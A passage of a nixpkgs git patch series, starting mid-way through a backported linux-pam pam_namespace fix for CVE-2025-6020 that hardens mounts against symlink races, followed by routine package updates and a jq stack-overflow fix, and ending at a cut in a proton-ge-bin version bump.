+-	if (mount("tmpfs", polyptr->dir, "tmpfs", polyptr->mount_flags, polyptr->mount_opts) < 0) {
+-	    pam_syslog(idata->pamh, LOG_ERR, "Error mounting tmpfs on %s, %m",
+-		polyptr->dir);
+-            return PAM_SESSION_ERR;
+-	}
++        /*
++         * There is no function mount() that operate on a fd, so instead, we
++         * get the magic link corresponding to the fd and give it to mount().
++         * This protects against potential races exploitable by an unpriv user.
++         */
++        if (pam_sprintf(s_pptrdir, "/proc/self/fd/%d", dfd_pptrdir) < 0) {
++            pam_syslog(idata->pamh, LOG_ERR, "Error pam_sprintf s_pptrdir");
++            goto error_out;
++        }
++
++        if (mount("tmpfs", s_pptrdir, "tmpfs", polyptr->mount_flags, polyptr->mount_opts) < 0) {
++            pam_syslog(idata->pamh, LOG_ERR, "Error mounting tmpfs on %s, %m",
++                       polyptr->dir);
++            goto error_out;
++        }
+ 
+-	if (polyptr->flags & POLYDIR_NOINIT)
+-	    return PAM_SUCCESS;
++        if (polyptr->flags & POLYDIR_NOINIT) {
++            retval = PAM_SUCCESS;
++            goto cleanup;
++        }
+ 
+-	return inst_init(polyptr, "tmpfs", idata, 1);
++        retval = inst_init(polyptr, "tmpfs", idata, 1);
++        goto cleanup;
+     }
+ 
+-    if (stat(polyptr->dir, &statbuf) < 0) {
+-	pam_syslog(idata->pamh, LOG_ERR, "Error stating %s: %m",
+-		polyptr->dir);
+-        return PAM_SESSION_ERR;
++    if (fstat(dfd_pptrdir, &statbuf) < 0) {
++        pam_syslog(idata->pamh, LOG_ERR, "Error stating %s: %m", polyptr->dir);
++        goto error_out;
+     }
+ 
+     /*
+@@ -1687,16 +1868,17 @@ static int ns_setup(struct polydir_s *polyptr,
+      * security policy.
+      */
+ #ifdef WITH_SELINUX
+-    retval = poly_name(polyptr, &instname, &instcontext,
+-			&origcontext, idata);
++    retval = poly_name(polyptr, &instcontext, &origcontext, idata);
+ #else
+-    retval = poly_name(polyptr, &instname, idata);
++    retval = poly_name(polyptr, idata);
+ #endif
+ 
+     if (retval != PAM_SUCCESS) {
+-	if (retval != PAM_IGNORE)
+-		pam_syslog(idata->pamh, LOG_ERR, "Error getting instance name");
+-        goto cleanup;
++			if (retval != PAM_IGNORE) {
++					pam_syslog(idata->pamh, LOG_ERR, "Error getting instance name");
++	        goto error_out;
++      }
++      goto cleanup;
+     } else {
+ #ifdef WITH_SELINUX
+         if ((idata->flags & PAMNS_DEBUG) &&
+@@ -1706,22 +1888,33 @@ static int ns_setup(struct polydir_s *polyptr,
+ #endif
+     }
+ 
+-    if (asprintf(&inst_dir, "%s%s", polyptr->instance_prefix, instname) < 0)
+-	goto error_out;
+-
+-    if (idata->flags & PAMNS_DEBUG)
+-        pam_syslog(idata->pamh, LOG_DEBUG, "instance_dir %s",
+-		inst_dir);
++    /*
++     * Gets a fd in a secure manner (we may be operating on a path under
++     * user control), and check it's compliant.
++     * Then, we should *always* operate on *this* fd and a relative path
++     * to be protected against race conditions.
++     */
++    dfd_iparent = secure_opendir(polyptr->instance_parent,
++            SECURE_OPENDIR_PROTECT | SECURE_OPENDIR_MKDIR, 0, idata);
++    if (dfd_iparent == -1) {
++	pam_syslog(idata->pamh, LOG_ERR,
++                "polyptr->instance_parent %s access error",
++                polyptr->instance_parent);
++        goto error_out;
++    }
++    if (check_inst_parent(dfd_iparent, idata)) {
++        goto error_out;
++    }
+ 
+     /*
+      * Create instance directory with appropriate security
+      * contexts, owner, group and mode bits.
+      */
+ #ifdef WITH_SELINUX
+-    retval = create_instance(polyptr, inst_dir, &statbuf, instcontext,
+-			 origcontext, idata);
++    retval = create_instance(polyptr, dfd_iparent, &statbuf, instcontext,
++                             origcontext, idata);
+ #else
+-    retval = create_instance(polyptr, inst_dir, &statbuf, idata);
++    retval = create_instance(polyptr, dfd_iparent, &statbuf, idata);
+ #endif
+ 
+     if (retval == PAM_IGNORE) {
+@@ -1733,19 +1926,48 @@ static int ns_setup(struct polydir_s *polyptr,
+         goto error_out;
+     }
+ 
++    /*
++     * Instead of getting a new secure fd, we reuse the fd opened on directory
++     * polyptr->instance_parent to ensure we are working on the same dir as
++     * previously, and thus ensure that previous checks (e.g. check_inst_parent())
++     * are still relevant.
++     */
++    dfd_ipath = openat(dfd_iparent, polyptr->instname,
++            O_PATH | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC);
++    if (dfd_ipath == -1) {
++        pam_syslog(idata->pamh, LOG_ERR, "Error openat on %s, %m",
++                polyptr->instname);
++        goto error_out;
++    }
++
++    if (pam_sprintf(s_ipath, "/proc/self/fd/%d", dfd_ipath) < 0) {
++        pam_syslog(idata->pamh, LOG_ERR, "Error pam_sprintf s_ipath");
++        goto error_out;
++    }
++
++    if (pam_sprintf(s_pptrdir, "/proc/self/fd/%d", dfd_pptrdir) < 0) {
++        pam_syslog(idata->pamh, LOG_ERR, "Error pam_sprintf s_pptrdir");
++        goto error_out;
++    }
++
+     /*
+      * Bind mount instance directory on top of the polyinstantiated
+      * directory to provide an instance of polyinstantiated directory
+      * based on polyinstantiated method.
++     *
++     * Operates on magic links created from two fd obtained securely
++     * to protect against race conditions and symlink attacks. Indeed,
++     * the source and destination can be in a user controled path.
+      */
+-    if (mount(inst_dir, polyptr->dir, NULL, MS_BIND, NULL) < 0) {
+-        pam_syslog(idata->pamh, LOG_ERR, "Error mounting %s on %s, %m",
+-                   inst_dir, polyptr->dir);
++    if(mount(s_ipath, s_pptrdir, NULL, MS_BIND, NULL) < 0) {
++        pam_syslog(idata->pamh, LOG_ERR,
++                "Error mounting %s on %s (%s on %s), %m",
++                   s_ipath, s_pptrdir, polyptr->instance_absolute, polyptr->dir);
+         goto error_out;
+     }
+ 
+     if (!(polyptr->flags & POLYDIR_NOINIT))
+-	retval = inst_init(polyptr, inst_dir, idata, newdir);
++				retval = inst_init(polyptr, polyptr->instance_absolute, idata, newdir);
+ 
+     goto cleanup;
+ 
+@@ -1757,8 +1979,12 @@ error_out:
+     retval = PAM_SESSION_ERR;
+ 
+ cleanup:
+-    free(inst_dir);
+-    free(instname);
++    if (dfd_iparent != -1)
++        close(dfd_iparent);
++    if (dfd_ipath != -1)
++        close(dfd_ipath);
++    if (dfd_pptrdir != -1)
++        close(dfd_pptrdir);
+ #ifdef WITH_SELINUX
+     freecon(instcontext);
+     freecon(origcontext);
+@@ -1797,6 +2023,7 @@ static int cleanup_tmpdirs(struct instance_data *idata)
+ {
+     struct polydir_s *pptr;
+     pid_t rc, pid;
++    int dfd = -1;
+     struct sigaction newsa, oldsa;
+     int status;
+ 
+@@ -1808,20 +2035,40 @@ static int cleanup_tmpdirs(struct instance_data *idata)
+     }
+ 
+     for (pptr = idata->polydirs_ptr; pptr; pptr = pptr->next) {
+-	if (pptr->method == TMPDIR && access(pptr->instance_prefix, F_OK) == 0) {
++			if (pptr->method == TMPDIR) {
++
++            dfd = secure_opendir_stateless(pptr->instance_parent);
++            if (dfd == -1)
++                continue;
++
++            if (faccessat(dfd, pptr->instname, F_OK, AT_SYMLINK_NOFOLLOW) != 0) {
++                close(dfd);
++                continue;
++            }
++
+ 	    pid = fork();
+ 	    if (pid == 0) {
+-		static char *envp[] = { NULL };
++				static char *envp[] = { NULL };
+ #ifdef WITH_SELINUX
+-		if (idata->flags & PAMNS_SELINUX_ENABLED) {
++			if (idata->flags & PAMNS_SELINUX_ENABLED) {
+ 		    if (setexeccon(NULL) < 0)
+ 			_exit(1);
+ 		}
+ #endif
++    if (fchdir(dfd) == -1) {
++        pam_syslog(idata->pamh, LOG_ERR, "Failed fchdir to %s: %m",
++                pptr->instance_absolute);
++        _exit(1);
++    }
++
+ 		close_fds_pre_exec(idata);
+-		if (execle("/bin/rm", "/bin/rm", "-rf", pptr->instance_prefix, NULL, envp) < 0)
+-			_exit(1);
+-	    } else if (pid > 0) {
++		execle("/bin/rm", "/bin/rm", "-rf", pptr->instname, NULL, envp);
++		_exit(1);
++  } else if (pid > 0) {
++
++                if (dfd != -1)
++                    close(dfd);
++
+ 		while (((rc = waitpid(pid, &status, 0)) == (pid_t)-1) &&
+ 		    (errno == EINTR));
+ 		if (rc == (pid_t)-1) {
+@@ -1834,6 +2081,10 @@ static int cleanup_tmpdirs(struct instance_data *idata)
+ 			"Error removing %s", pptr->instance_prefix);
+ 		}
+ 	    } else if (pid < 0) {
++
++                if (dfd != -1)
++                    close(dfd);
++
+ 		pam_syslog(idata->pamh, LOG_ERR,
+ 			"Cannot fork to cleanup temporary directory, %m");
+ 		rc = PAM_SESSION_ERR;
+@@ -1857,6 +2108,7 @@ out:
+ static int setup_namespace(struct instance_data *idata, enum unmnt_op unmnt)
+ {
+     int retval = 0, need_poly = 0, changing_dir = 0;
++    int dfd = -1;
+     char *cptr, *fptr, poly_parent[PATH_MAX];
+     struct polydir_s *pptr;
+ 
+@@ -1972,20 +2224,28 @@ static int setup_namespace(struct instance_data *idata, enum unmnt_op unmnt)
+ 			strcpy(poly_parent, "/");
+ 		    else if (cptr)
+ 			*cptr = '\0';
+-                    if (chdir(poly_parent) < 0) {
++
++                    dfd = secure_opendir_stateless(poly_parent);
++                    if (dfd == -1) {
+                         pam_syslog(idata->pamh, LOG_ERR,
+-				"Can't chdir to %s, %m", poly_parent);
++                            "Failed opening %s to fchdir: %m", poly_parent);
+                     }
++                    else if (fchdir(dfd) == -1) {
++                        pam_syslog(idata->pamh, LOG_ERR,
++                            "Failed fchdir to %s: %m", poly_parent);
++                    }
++                    if (dfd != -1)
++                        close(dfd);
+                 }
+ 
+-                if (umount(pptr->rdir) < 0) {
+-		    int saved_errno = errno;
+-		    pam_syslog(idata->pamh, LOG_ERR, "Unmount of %s failed, %m",
+-			pptr->rdir);
+-		    if (saved_errno != EINVAL) {
+-			retval = PAM_SESSION_ERR;
+-			goto out;
+-                    }
++								if (secure_umount(pptr->rdir) < 0) {
++									int saved_errno = errno;
++									pam_syslog(idata->pamh, LOG_ERR, "Unmount of %s failed, %m",
++									pptr->rdir);
++									if (saved_errno != EINVAL) {
++										retval = PAM_SESSION_ERR;
++										goto out;
++						      }
+                 } else if (idata->flags & PAMNS_DEBUG)
+                     pam_syslog(idata->pamh, LOG_DEBUG, "Umount succeeded %s",
+ 				pptr->rdir);
+@@ -2048,7 +2308,7 @@ static int orig_namespace(struct instance_data *idata)
+ 			"Unmounting instance dir for user %d & dir %s",
+                        idata->uid, pptr->dir);
+ 
+-            if (umount(pptr->dir) < 0) {
++            if (secure_umount(pptr->dir) < 0) {
+                 pam_syslog(idata->pamh, LOG_ERR, "Unmount of %s failed, %m",
+                        pptr->dir);
+                 return PAM_SESSION_ERR;
+diff --git a/modules/pam_namespace/pam_namespace.h b/modules/pam_namespace/pam_namespace.h
+index fd393d17..b1c31e1f 100644
+--- a/modules/pam_namespace/pam_namespace.h
++++ b/modules/pam_namespace/pam_namespace.h
+@@ -126,6 +126,13 @@
+ #define NAMESPACE_POLYDIR_DATA "pam_namespace:polydir_data"
+ #define NAMESPACE_PROTECT_DATA "pam_namespace:protect_data"
+ 
++/*
++ * Operation mode for function secure_opendir()
++ */
++#define SECURE_OPENDIR_PROTECT     0x00000001
++#define SECURE_OPENDIR_MKDIR       0x00000002
++#define SECURE_OPENDIR_FULL_FD     0x00000004
++
+ /*
+  * Polyinstantiation method options, based on user, security context
+  * or both
+@@ -163,6 +170,9 @@ struct polydir_s {
+     char dir[PATH_MAX];    	       	/* directory to polyinstantiate */
+     char rdir[PATH_MAX];    	       	/* directory to unmount (based on RUSER) */
+     char instance_prefix[PATH_MAX];	/* prefix for instance dir path name */
++    char instance_absolute[PATH_MAX];	/* absolute path to the instance dir (instance_parent + instname) */
++    char instance_parent[PATH_MAX];	/* parent dir of the instance dir */
++    char *instname;			/* last segment of the path to the instance dir */
+     enum polymethod method;		/* method used to polyinstantiate */
+     unsigned int num_uids;		/* number of override uids */
+     uid_t *uid;				/* list of override uids */
+-- 
+2.49.0
+
diff --git a/pkgs/by-name/li/linux-pam/package.nix b/pkgs/by-name/li/linux-pam/package.nix
index 03bbf3299520..52aec1393dcb 100644
--- a/pkgs/by-name/li/linux-pam/package.nix
+++ b/pkgs/by-name/li/linux-pam/package.nix
@@ -3,6 +3,7 @@
   stdenv,
   buildPackages,
   fetchurl,
+  fetchpatch,
   flex,
   db4,
   gettext,
@@ -24,6 +25,13 @@ stdenv.mkDerivation rec {
 
   patches = [
     ./suid-wrapper-path.patch
+    # required for fixing CVE-2025-6020
+    (fetchpatch {
+      url = "https://github.com/linux-pam/linux-pam/commit/10b80543807e3fc5af5f8bcfd8bb6e219bb3cecc.patch";
+      hash = "sha256-VS3D3wUbDxDXRriIuEvvgeZixzDA58EfiLygfFeisGg=";
+    })
+    # Manually cherry-picked from 475bd60c552b98c7eddb3270b0b4196847c0072e
+    ./CVE-2025-6020.patch
   ];
 
   # Case-insensitivity workaround for https://github.com/linux-pam/linux-pam/issues/569

From 5632f9d48f03760fa15670d224a8547f2df0955a Mon Sep 17 00:00:00 2001
From: Markus Theil <theil.markus@gmail.com>
Date: Wed, 2 Jul 2025 11:48:44 +0200
Subject: [PATCH 1925/4511] openssl_3_4: 3.4.1 -> 3.4.2

- Fixes no CVEs
- Bugfixes only
- Upstream URL: no changes listed
- Commits Changes (3.4.2): openssl/openssl@openssl-3.4.1...openssl-3.4.2

Signed-off-by: Markus Theil <theil.markus@gmail.com>
---
 pkgs/development/libraries/openssl/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/openssl/default.nix b/pkgs/development/libraries/openssl/default.nix
index 465f24ec2630..6cc06f2ed595 100644
--- a/pkgs/development/libraries/openssl/default.nix
+++ b/pkgs/development/libraries/openssl/default.nix
@@ -368,8 +368,8 @@ in
   };
 
   openssl_3_4 = common {
-    version = "3.4.1";
-    hash = "sha256-ACotazC1i/S+pGxDvdljZar42qbEKHgqpP7uBtoZffM=";
+    version = "3.4.2";
+    hash = "sha256-F7AkWfwovkFUcMzKrnQ080lsrBMGuGtSyDiGWA6Cg0w=";
 
     patches = [
       ./3.0/nix-ssl-cert-file.patch

From 29b126a3704c207e63887ca8e9717b361bd61a6b Mon Sep 17 00:00:00 2001
From: Markus Theil <theil.markus@gmail.com>
Date: Wed, 2 Jul 2025 10:28:59 +0200
Subject: [PATCH 1926/4511] openssl_3: 3.0.16 -> 3.0.17

- Fixes no CVEs
- Bugfixes only
- Upstream URL: no changes listed
- Commits Changes: https://github.com/openssl/openssl/compare/openssl-3.0.16...openssl-3.0.17

Signed-off-by: Markus Theil <theil.markus@gmail.com>
(cherry picked from commit 663f5373602470bd99c376f0381f0081e11a9665)
---
 pkgs/development/libraries/openssl/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/openssl/default.nix b/pkgs/development/libraries/openssl/default.nix
index 6cc06f2ed595..a4272dfd80b6 100644
--- a/pkgs/development/libraries/openssl/default.nix
+++ b/pkgs/development/libraries/openssl/default.nix
@@ -345,8 +345,8 @@ in
   };
 
   openssl_3 = common {
-    version = "3.0.16";
-    hash = "sha256-V+A8UP6rXTGxUq8rdk8QN5rs2O6S8WyYWYPOSpn374Y=";
+    version = "3.0.17";
+    hash = "sha256-39135OobV/86bb3msL3D8x21rJnn/dTq+eH7tuwtuM4=";
 
     patches = [
       ./3.0/nix-ssl-cert-file.patch

From 1cb15c9696eb1f64479274546cc800cddd6d904e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Thu, 26 Jun 2025 23:50:33 +0200
Subject: [PATCH 1927/4511] bruno-cli: fix runtime error

Fixes 'Cannot find module .../node_modules/@usebruno/converters/dist/cjs/index.js'

(cherry picked from commit 2bcec7c804c964dee148b22fd71a0119239ee2d5)
---
 pkgs/by-name/br/bruno-cli/package.nix | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/br/bruno-cli/package.nix b/pkgs/by-name/br/bruno-cli/package.nix
index 343ebd315164..3f7e1f9cfddf 100644
--- a/pkgs/by-name/br/bruno-cli/package.nix
+++ b/pkgs/by-name/br/bruno-cli/package.nix
@@ -30,6 +30,11 @@ buildNpmPackage {
     pango
   ];
 
+  postConfigure = ''
+    # sh: line 1: /build/source/packages/bruno-converters/node_modules/.bin/rimraf: cannot execute: required file not found
+    patchShebangs packages/*/node_modules
+  '';
+
   ELECTRON_SKIP_BINARY_DOWNLOAD = 1;
 
   buildPhase = ''
@@ -37,6 +42,7 @@ buildNpmPackage {
 
     npm run build --workspace=packages/bruno-common
     npm run build --workspace=packages/bruno-graphql-docs
+    npm run build --workspace=packages/bruno-converters
     npm run build --workspace=packages/bruno-query
     npm run build --workspace=packages/bruno-requests
 
@@ -59,7 +65,7 @@ buildNpmPackage {
     rm node_modules/@usebruno/{app,tests,toml,schema}
 
     # heavy dependencies that seem to be unused
-    rm -rf node_modules/{@tabler,pdfjs-dist,*redux*,*babel*,prettier,@types*,*react*,*graphiql*}
+    rm -rf node_modules/{@tabler,pdfjs-dist,*redux*,prettier,@types*,*react*,*graphiql*}
     rm -r node_modules/.bin
 
     # unused file types

From f373743f9b69fc1761f903a0acee34f3b499dfea Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Mon, 23 Jun 2025 23:00:01 -0400
Subject: [PATCH 1928/4511] qrencode: remove rec when using finalAttrs

Picked from a treewide.

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit d75957a3bbc310475425c9042174225c837f9473)
---
 pkgs/by-name/qr/qrencode/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/qr/qrencode/package.nix b/pkgs/by-name/qr/qrencode/package.nix
index fca976b41d14..feb29facbfdc 100644
--- a/pkgs/by-name/qr/qrencode/package.nix
+++ b/pkgs/by-name/qr/qrencode/package.nix
@@ -8,7 +8,7 @@
   autoreconfHook,
 }:
 
-stdenv.mkDerivation (finalAttrs: rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "qrencode";
   version = "4.1.1";
 
@@ -22,7 +22,7 @@ stdenv.mkDerivation (finalAttrs: rec {
   src = fetchFromGitHub {
     owner = "fukuchi";
     repo = "libqrencode";
-    rev = "v${version}";
+    rev = "v${finalAttrs.version}";
     hash = "sha256-nbrmg9SqCqMrLE7WCfNEzMV/eS9UVCKCrjBrGMzAsLk";
   };
 

From da0a6aee0f6499233683bf49acc17a4a55b8de5e Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Fri, 20 Jun 2025 13:43:10 -0400
Subject: [PATCH 1929/4511] qrencode: adopt, cleanup

* Switched `rev` to `tag`.
* Added `passthru.updateScript`
* Removed `with lib;` from `meta`
* Updated `meta.description` and `meta.longDescription` to reflect that there is a CLI tool too.
* Adopted.

(cherry picked from commit 9d644e7eedb4abfb24b34185f9c27bfd1a99fb6f)
---
 pkgs/by-name/qr/qrencode/package.nix | 29 +++++++++++++++++-----------
 1 file changed, 18 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/qr/qrencode/package.nix b/pkgs/by-name/qr/qrencode/package.nix
index feb29facbfdc..81c6e516c1c2 100644
--- a/pkgs/by-name/qr/qrencode/package.nix
+++ b/pkgs/by-name/qr/qrencode/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  nix-update-script,
   pkg-config,
   libpng,
   libiconv,
@@ -22,7 +23,7 @@ stdenv.mkDerivation (finalAttrs: {
   src = fetchFromGitHub {
     owner = "fukuchi";
     repo = "libqrencode";
-    rev = "v${finalAttrs.version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-nbrmg9SqCqMrLE7WCfNEzMV/eS9UVCKCrjBrGMzAsLk";
   };
 
@@ -48,22 +49,28 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postCheck
   '';
 
-  passthru.tests = finalAttrs.finalPackage.overrideAttrs (_: {
-    configureFlags = [ "--with-tests" ];
-    doCheck = true;
-  });
+  passthru = {
+    tests = finalAttrs.finalPackage.overrideAttrs {
+      configureFlags = [ "--with-tests" ];
+      doCheck = true;
+    };
+    updateScript = nix-update-script { };
+  };
 
-  meta = with lib; {
+  meta = {
     homepage = "https://fukuchi.org/works/qrencode/";
-    description = "C library for encoding data in a QR Code symbol";
+    description = "C library and command line tool for encoding data in a QR Code symbol";
     longDescription = ''
       Libqrencode is a C library for encoding data in a QR Code symbol,
       a kind of 2D symbology that can be scanned by handy terminals
-      such as a mobile phone with CCD.
+      such as a smartphone.
+
+      The library also contains qrencode, a command-line utility to output
+      QR Code images in various formats.
     '';
-    license = licenses.lgpl21Plus;
-    maintainers = [ ];
-    platforms = platforms.all;
+    license = lib.licenses.lgpl21Plus;
+    maintainers = [ lib.maintainers.mdaniels5757 ];
+    platforms = lib.platforms.all;
     mainProgram = "qrencode";
   };
 })

From 42788e9af368476c56032f2be863abdd0f651abd Mon Sep 17 00:00:00 2001
From: Morgan Helton <mhelton@gmail.com>
Date: Sun, 18 May 2025 17:29:13 -0500
Subject: [PATCH 1930/4511] k9s: 0.50.5 -> 0.50.6

(cherry picked from commit 182d5e4fbcb40bc14145246d633fde170a96c526)
---
 pkgs/by-name/k9/k9s/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/k9/k9s/package.nix b/pkgs/by-name/k9/k9s/package.nix
index 1b31d7ce590d..199fa6186ae3 100644
--- a/pkgs/by-name/k9/k9s/package.nix
+++ b/pkgs/by-name/k9/k9s/package.nix
@@ -12,13 +12,13 @@
 
 buildGoModule rec {
   pname = "k9s";
-  version = "0.50.5";
+  version = "0.50.6";
 
   src = fetchFromGitHub {
     owner = "derailed";
     repo = "k9s";
     rev = "v${version}";
-    hash = "sha256-hh00R0PCqhAUlwFps40CQ+hc6p2634WEGqNjX1mi/J8=";
+    hash = "sha256-cL7OD9OtkVx325KcANU8FudcOk6HMct6ve2p0qSkEoc=";
   };
 
   ldflags = [
@@ -33,7 +33,7 @@ buildGoModule rec {
 
   proxyVendor = true;
 
-  vendorHash = "sha256-g2tS1EpmG+Wba3kF9cH83JAG6EhKK4LrASGUSFtYYY8=";
+  vendorHash = "sha256-dATWFH5XKicdP8sftGGm2zopTef189MJWd9AM/Gxsjw=";
 
   # TODO investigate why some config tests are failing
   doCheck = !(stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64);

From bf67e85cf24c9be7578fda493b216abceb5d6a48 Mon Sep 17 00:00:00 2001
From: Morgan Helton <mhelton@gmail.com>
Date: Sun, 18 May 2025 17:29:35 -0500
Subject: [PATCH 1931/4511] k9s: add devusb to maintainers

(cherry picked from commit 6186ef38a017e7ffca0502ec254bb41aade70661)
---
 pkgs/by-name/k9/k9s/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/k9/k9s/package.nix b/pkgs/by-name/k9/k9s/package.nix
index 199fa6186ae3..114898d3c0a2 100644
--- a/pkgs/by-name/k9/k9s/package.nix
+++ b/pkgs/by-name/k9/k9s/package.nix
@@ -75,6 +75,7 @@ buildGoModule rec {
       markus1189
       bryanasdev000
       qjoly
+      devusb
       ryan4yin
     ];
   };

From b71e42a4ab413a60f0a733978be9b1e6e22c8cfe Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Tue, 24 Jun 2025 16:16:58 +0200
Subject: [PATCH 1932/4511] nixVersions.git: 2.30pre20250521 -> 2.30pre20250624

(cherry picked from commit d9ee6a3e629c39005e099b9470a46ff7cb11b0a0)
---
 pkgs/tools/package-management/nix/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index 10f93abf8f51..9e3587a2461b 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -210,14 +210,14 @@ lib.makeExtensible (
       nix_2_29 = addTests "nix_2_29" self.nixComponents_2_29.nix-everything;
 
       nixComponents_git = nixDependencies.callPackage ./modular/packages.nix rec {
-        version = "2.30pre20250521_${lib.substring 0 8 src.rev}";
+        version = "2.30pre20250624_${lib.substring 0 8 src.rev}";
         inherit (self.nix_2_24.meta) maintainers teams;
         otherSplices = generateSplicesForNixComponents "nixComponents_git";
         src = fetchFromGitHub {
           owner = "NixOS";
           repo = "nix";
-          rev = "76a4d4c2913a1654dddd195b034ff7e66cb3e96f";
-          hash = "sha256-OA22Ig72oV6reHN8HMlimmnrsxpNzqyzi4h6YBVzzEA=";
+          rev = "448cfb71eafbb3f2932b025aa2600c80b6d383f1";
+          hash = "sha256-tk1H8lOA5lIvhNP/izZ6JzT0EuDmCOX5RBhOeHdc2cM=";
         };
       };
 

From 821a4869fe2c2588598516ca49f5cf6d1cbc9dd8 Mon Sep 17 00:00:00 2001
From: 06kellyjac <dev@j-k.io>
Date: Wed, 2 Jul 2025 13:22:10 +0100
Subject: [PATCH 1933/4511] jq: backport patch for GHSA-f946-j5j2-4w5m

GHSA-f946-j5j2-4w5m (no CVE identifier)
https://github.com/jqlang/jq/commit/5e159b34b179417e3e0404108190a2ac7d65611c

CVE-2025-49014 only relevant to 1.8.0 so not included but mentioned for posterity
---
 ...-overflow-by-limit-regex-parse-depth.patch | 45 +++++++++++++++++++
 pkgs/by-name/jq/jq/package.nix                |  7 +++
 2 files changed, 52 insertions(+)
 create mode 100644 pkgs/by-name/jq/jq/0006-Fix-GHSA-f946-j5j2-4w5m-stack-overflow-by-limit-regex-parse-depth.patch

diff --git a/pkgs/by-name/jq/jq/0006-Fix-GHSA-f946-j5j2-4w5m-stack-overflow-by-limit-regex-parse-depth.patch b/pkgs/by-name/jq/jq/0006-Fix-GHSA-f946-j5j2-4w5m-stack-overflow-by-limit-regex-parse-depth.patch
new file mode 100644
index 000000000000..1e862fb1b8df
--- /dev/null
+++ b/pkgs/by-name/jq/jq/0006-Fix-GHSA-f946-j5j2-4w5m-stack-overflow-by-limit-regex-parse-depth.patch
@@ -0,0 +1,45 @@
+From 5e159b34b179417e3e0404108190a2ac7d65611c Mon Sep 17 00:00:00 2001
+From: Mattias Wadman <mattias.wadman@gmail.com>
+Date: Tue, 24 Jun 2025 15:39:40 +0200
+Subject: [PATCH] Fix GHSA-f946-j5j2-4w5m stack-overflow by limit regex parse
+ depth
+
+Was detect by AFL build but it's unsure if possible to trigger in non-fuzz build.
+
+Oniguruma has a default limit of 4096 but this is not be low enough to
+protect from stack-overflows in some builds like with AFL where it seems
+to use more stack space. A limit of 1024 should be enough usage-wise
+and also give more margin.
+---
+ src/main.c | 11 +++++++++++
+ 1 file changed, 11 insertions(+)
+
+diff --git a/src/main.c b/src/main.c
+index a316f63c0c..90f5f2afdb 100644
+--- a/src/main.c
++++ b/src/main.c
+@@ -21,6 +21,10 @@
+ extern void jv_tsd_dtoa_ctx_init();
+ #endif
+ 
++#ifdef HAVE_LIBONIG
++#include <oniguruma.h>
++#endif
++
+ #if !defined(HAVE_ISATTY) && defined(HAVE__ISATTY)
+ #undef isatty
+ #define isatty _isatty
+@@ -298,6 +302,13 @@ int main(int argc, char* argv[]) {
+   (void) setlocale(LC_ALL, "");
+ #endif
+ 
++#ifdef HAVE_LIBONIG
++  // use a lower regex parse depth limit than the default (4096) to protect
++  // from stack-overflows
++  // https://github.com/jqlang/jq/security/advisories/GHSA-f946-j5j2-4w5m
++  onig_set_parse_depth_limit(1024);
++#endif
++
+ #ifdef __OpenBSD__
+   if (pledge("stdio rpath", NULL) == -1) {
+     perror("pledge");
diff --git a/pkgs/by-name/jq/jq/package.nix b/pkgs/by-name/jq/jq/package.nix
index 8e6928be7fbb..20c1937ba3ad 100644
--- a/pkgs/by-name/jq/jq/package.nix
+++ b/pkgs/by-name/jq/jq/package.nix
@@ -49,6 +49,13 @@ stdenv.mkDerivation rec {
     # Improve-performance-of-repeating-strings is only a partial fix
     # https://github.com/jqlang/jq/commit/c6e041699d8cd31b97375a2596217aff2cfca85b
     ./0005-Fix-heap-buffer-overflow-when-formatting-an-empty-st.patch
+
+    # CVE-2025-49014 only relevant to 1.8.0, added for posterity
+    # https://github.com/jqlang/jq/commit/499c91bca9d4d027833bc62787d1bb075c03680e
+
+    # GHSA-f946-j5j2-4w5m (no CVE identifier)
+    # https://github.com/jqlang/jq/commit/5e159b34b179417e3e0404108190a2ac7d65611c
+    ./0006-Fix-GHSA-f946-j5j2-4w5m-stack-overflow-by-limit-regex-parse-depth.patch
   ];
 
   # https://github.com/jqlang/jq/issues/2871

From d02054cd68ff725774c14e8078fed043838ba314 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Wed, 2 Jul 2025 10:45:09 +0200
Subject: [PATCH 1934/4511] proton-ge-bin: GE-Proton10-7 -> GE-Proton10-8

(cherry picked from commit 7f7b760c5728b8ad51208d0e3d49f326987539d1)
---
 pkgs/by-name/pr/proton-ge-bin/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/proton-ge-bin/package.nix b/pkgs/by-name/pr/proton-ge-bin/package.nix
index e0108e5c3f2f..4a6e1c0c0a41 100644
--- a/pkgs/by-name/pr/proton-ge-bin/package.nix
+++ b/pkgs/by-name/pr/proton-ge-bin/package.nix
@@ -9,11 +9,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "proton-ge-bin";
-  version = "GE-Proton10-7";
+  version = "GE-Proton10-8";
 
   src = fetchzip {
